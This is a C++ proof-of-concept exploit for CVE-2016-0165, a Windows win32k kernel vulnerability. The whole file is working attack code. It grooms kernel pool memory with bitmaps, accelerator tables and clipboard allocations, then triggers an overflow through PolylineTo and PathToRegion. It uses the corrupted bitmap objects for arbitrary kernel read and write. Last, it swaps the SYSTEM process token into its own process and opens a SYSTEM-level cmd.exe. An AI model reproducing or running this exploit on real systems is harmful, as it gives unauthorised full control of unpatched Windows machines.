#include <Windows.h>
#include <wingdi.h>
#include <iostream>
#include <Psapi.h>
#pragma comment(lib, "psapi.lib")
#define POCDEBUG 0
#if POCDEBUG == 1
#define POCDEBUG_BREAK() getchar()
#elif POCDEBUG == 2
#define POCDEBUG_BREAK() DebugBreak()
#else
#define POCDEBUG_BREAK()
#endif
static HBITMAP hBmpHunted = NULL;
static HBITMAP hBmpExtend = NULL;
static DWORD iMemHunted = NULL;
static PDWORD pBmpHunted = NULL;
CONST LONG maxCount = 0x6666667;
CONST LONG maxLimit = 0x04E2000;
CONST LONG maxTimes = 4000;
CONST LONG tmpTimes = 5500;
static POINT point[maxCount] = { 0, 0 };
static HBITMAP hbitmap[maxTimes] = { NULL };
static HACCEL hacctab[tmpTimes] = { NULL };
CONST LONG iExtHeight = 948;
CONST LONG iExtpScan0 = 951;
static
VOID
xxCreateClipboard(DWORD Size)
{
PBYTE Buffer = (PBYTE)malloc(Size);
FillMemory(Buffer, Size, 0x41);
Buffer[Size - 1] = 0x00;
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
GlobalUnlock(hMem);
SetClipboardData(CF_TEXT, hMem);
}
static
BOOL xxPoint(LONG id, DWORD Value)
{
LONG iLeng = 0x00;
pBmpHunted[id] = Value;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb)
{
LONG iLeng = 0;
pBmpHunted[iExtpScan0] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
iLeng = SetBitmapBits(hBmpExtend, cb, pvBits);
if (iLeng < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb)
{
LONG iLeng = 0;
pBmpHunted[iExtpScan0] = addr;
iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted);
if (iLeng < 0x1000)
{
return FALSE;
}
iLeng = GetBitmapBits(hBmpExtend, cb, pvBits);
if (iLeng < (LONG)cb)
{
return FALSE;
}
return TRUE;
}
static
VOID xxInitPoints(VOID)
{
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = (i % 2) + 1;
point[i].y = 100;
}
for (LONG i = 0; i < 75; i++)
{
point[i].y = i + 1;
}
}
static
BOOL xxDrawPolyLines(HDC hdc)
{
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
// std::cout << ":" << (PVOID)i << std::endl;
if (!PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)))
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL);
if (hbitmap[i] == NULL)
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxCreateAcceleratorTables(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < tmpTimes; i++)
{
ACCEL acckey[0x0D] = { 0 };
hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
if (hacctab[i] == NULL)
{
return FALSE;
}
}
return TRUE;
}
static
BOOL xxDeleteBitmaps(VOID)
{
BOOL bReturn = FALSE;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
bReturn = DeleteObject(hbitmap[i]);
hbitmap[i] = NULL;
}
return bReturn;
}
static
VOID xxCreateClipboards(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
xxCreateClipboard(0xB5C);
}
}
static
BOOL xxDigHoleInAcceleratorTables(LONG b, LONG e)
{
BOOL bReturn = FALSE;
for (LONG i = b; i < e; i++)
{
bReturn = DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
return bReturn;
}
static
VOID xxDeleteAcceleratorTables(VOID)
{
for (LONG i = 0; i < tmpTimes; i++)
{
if (hacctab[i] == NULL)
{
continue;
}
DestroyAcceleratorTable(hacctab[i]);
hacctab[i] = NULL;
}
}
static
BOOL xxRetrieveBitmapBits(VOID)
{
pBmpHunted = static_cast<PDWORD>(malloc(0x1000));
ZeroMemory(pBmpHunted, 0x1000);
LONG index = -1;
LONG iLeng = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted);
if (iLeng < 0x2D0)
{
continue;
}
index = i;
std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
hBmpHunted = hbitmap[i];
break;
}
if (index == -1)
{
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
return FALSE;
}
return TRUE;
}
static
BOOL xxGetExtendPalette(VOID)
{
PVOID pBmpExtend = malloc(0x1000);
LONG index = -1;
POCDEBUG_BREAK();
for (LONG i = 0; i < maxTimes; i++)
{
if (hbitmap[i] == hBmpHunted)
{
continue;
}
if (GetBitmapBits(hbitmap[i], 0x1000, pBmpExtend) < 0x2D0)
{
continue;
}
index = i;
std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl;
hBmpExtend = hbitmap[i];
break;
}
free(pBmpExtend);
pBmpExtend = NULL;
if (index == -1)
{
std::cout << "FAILED: " << (PVOID)(-1) << std::endl;
return FALSE;
}
return TRUE;
}
static
VOID xxOutputBitmapBits(VOID)
{
POCDEBUG_BREAK();
for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++)
{
std::cout << '[';
std::cout.fill('0');
std::cout.width(4);
std::cout << i << ']' << (PVOID)pBmpHunted[i];
if (((i + 1) % 4) != 0)
{
std::cout << " ";
}
else
{
std::cout << std::endl;
}
}
std::cout.width(0);
}
static
BOOL xxFixHuntedPoolHeader(VOID)
{
DWORD szInputBit[0x100] = { 0 };
CONST LONG iTrueCbdHead = 205;
CONST LONG iTrueBmpHead = 937;
szInputBit[0] = pBmpHunted[iTrueCbdHead + 0];
szInputBit[1] = pBmpHunted[iTrueCbdHead + 1];
BOOL bReturn = FALSE;
bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08);
if (!bReturn)
{
return FALSE;
}
szInputBit[0] = pBmpHunted[iTrueBmpHead + 0];
szInputBit[1] = pBmpHunted[iTrueBmpHead + 1];
bReturn = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08);
if (!bReturn)
{
return FALSE;
}
return TRUE;
}
static
BOOL xxFixHuntedBitmapObject(VOID)
{
DWORD szInputBit[0x100] = { 0 };
szInputBit[0] = (DWORD)hBmpHunted;
BOOL bReturn = FALSE;
bReturn = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04);
if (!bReturn)
{
return FALSE;
}
bReturn = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04);
if (!bReturn)
{
return FALSE;
}
return TRUE;
}
static
DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
DWORD_PTR AddrList[500] = { 0 };
DWORD cbNeeded = 0;
EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
return AddrList[0];
}
static
DWORD_PTR
xxGetSysPROCESS(VOID)
{
DWORD_PTR Module = 0x00;
DWORD_PTR NtAddr = 0x00;
Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
FreeLibrary((HMODULE)Module);
NtAddr = NtAddr - Module;
Module = xxGetNtoskrnlAddress();
if (Module == 0x00)
{
return 0x00;
}
NtAddr = NtAddr + Module;
if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
{
return 0x00;
}
return NtAddr;
}
CONST LONG off_EPROCESS_UniqueProId = 0x0b4;
CONST LONG off_EPROCESS_ActiveLinks = 0x0b8;
static
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
if (SysPROC == 0x00)
{
return 0x00;
}
DWORD_PTR point = SysPROC;
DWORD_PTR value = 0x00;
do
{
value = 0x00;
xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
if (value == GetCurrentProcessId())
{
return point;
}
value = 0x00;
xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
point = value - off_EPROCESS_ActiveLinks;
if (point == SysPROC)
{
break;
}
} while (TRUE);
return 0x00;
}
CONST LONG off_EPROCESS_Token = 0x0f8;
static DWORD_PTR dstToken = 0x00;
static DWORD_PTR srcToken = 0x00;
static
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
// get target process original token pointer
xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
if (dstToken == 0x00)
{
return FALSE;
}
// get system process token pointer
xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
if (srcToken == 0x00)
{
return FALSE;
}
// modify target process token pointer to system
xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
// just test if the modification is successful
DWORD_PTR tmpToken = 0x00;
xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
if (tmpToken != srcToken)
{
return FALSE;
}
return TRUE;
}
static
BOOL
xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
if (dstToken == 0x00 || srcToken == 0x00)
{
return FALSE;
}
// recover the original token pointer to target process
xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
return TRUE;
}
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
static
VOID xxPrivilegeElevation(VOID)
{
BOOL bReturn = FALSE;
do
{
DWORD SysPROC = 0x0;
DWORD TarPROC = 0x0;
POCDEBUG_BREAK();
SysPROC = xxGetSysPROCESS();
if (SysPROC == 0x00)
{
break;
}
std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl;
POCDEBUG_BREAK();
TarPROC = xxGetTarPROCESS(SysPROC);
if (TarPROC == 0x00)
{
break;
}
std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl;
POCDEBUG_BREAK();
bReturn = xxModifyTokenPointer(TarPROC, SysPROC);
if (!bReturn)
{
break;
}
std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl;
std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl;
POCDEBUG_BREAK();
xxCreateCmdLineProcess();
POCDEBUG_BREAK();
std::cout << "RECOVER TOKEN..." << std::endl;
bReturn = xxRecoverTokenPointer(TarPROC, SysPROC);
if (!bReturn)
{
break;
}
bReturn = TRUE;
} while (FALSE);
if (!bReturn)
{
std::cout << "FAILED" << std::endl;
}
}
INT POC_CVE20160165(VOID)
{
std::cout << "-------------------" << std::endl;
std::cout << "POC - CVE-2016-0165" << std::endl;
std::cout << "-------------------" << std::endl;
BOOL bReturn = FALSE;
do
{
std::cout << "INIT POINTS..." << std::endl;
xxInitPoints();
HDC hdc = GetDC(NULL);
std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl;
if (hdc == NULL)
{
bReturn = FALSE;
break;
}
std::cout << "BEGIN DC PATH..." << std::endl;
bReturn = BeginPath(hdc);
if (!bReturn)
{
break;
}
std::cout << "DRAW POLYLINES..." << std::endl;
bReturn = xxDrawPolyLines(hdc);
if (!bReturn)
{
break;
}
std::cout << "ENDED DC PATH..." << std::endl;
bReturn = EndPath(hdc);
if (!bReturn)
{
break;
}
std::cout << "CREATE BITMAPS (1)..." << std::endl;
bReturn = xxCreateBitmaps(0xE34, 0x01, 8);
if (!bReturn)
{
break;
}
std::cout << "CREATE ACCTABS (1)..." << std::endl;
bReturn = xxCreateAcceleratorTables();
if (!bReturn)
{
break;
}
std::cout << "DELETE BITMAPS (1)..." << std::endl;
xxDeleteBitmaps();
std::cout << "CREATE CLIPBDS (1)..." << std::endl;
xxCreateClipboards();
std::cout << "CREATE BITMAPS (2)..." << std::endl;
bReturn = xxCreateBitmaps(0x01, 0xB1, 32);
std::cout << "DELETE ACCTABS (H)..." << std::endl;
xxDigHoleInAcceleratorTables(2000, 4000);
std::cout << "PATH TO REGION..." << std::endl;
POCDEBUG_BREAK();
HRGN hrgn = PathToRegion(hdc);
if (hrgn == NULL)
{
bReturn = FALSE;
break;
}
std::cout << "DELETE REGION..." << std::endl;
DeleteObject(hrgn);
std::cout << "LOCATE HUNTED BITMAP..." << std::endl;
bReturn = xxRetrieveBitmapBits();
if (!bReturn)
{
break;
}
// std::cout << "OUTPUT BITMAP BITS..." << std::endl;
// xxOutputBitmapBits();
std::cout << "MODIFY EXTEND BITMAP HEIGHT..." << std::endl;
POCDEBUG_BREAK();
bReturn = xxPoint(iExtHeight, 0xFFFFFFFF);
if (!bReturn)
{
break;
}
std::cout << "LOCATE EXTEND BITMAP..." << std::endl;
bReturn = xxGetExtendPalette();
if (!bReturn)
{
break;
}
if ((pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC)
{
bReturn = FALSE;
std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtpScan0] << std::endl;
break;
}
iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000;
std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl;
std::cout << "FIX HUNTED POOL HEADER..." << std::endl;
bReturn = xxFixHuntedPoolHeader();
if (!bReturn)
{
break;
}
std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl;
bReturn = xxFixHuntedBitmapObject();
if (!bReturn)
{
break;
}
std::cout << "-------------------" << std::endl;
std::cout << "PRIVILEGE ELEVATION" << std::endl;
std::cout << "-------------------" << std::endl;
xxPrivilegeElevation();
std::cout << "-------------------" << std::endl;
std::cout << "DELETE BITMAPS (2)..." << std::endl;
xxDeleteBitmaps();
std::cout << "DELETE ACCTABS (3)..." << std::endl;
xxDeleteAcceleratorTables();
bReturn = TRUE;
} while (FALSE);
if (!bReturn)
{
std::cout << GetLastError() << std::endl;
}
std::cout << "-------------------" << std::endl;
getchar();
return 0;
}
INT main(INT argc, CHAR *argv[])
{
POC_CVE20160165();
return 0;
}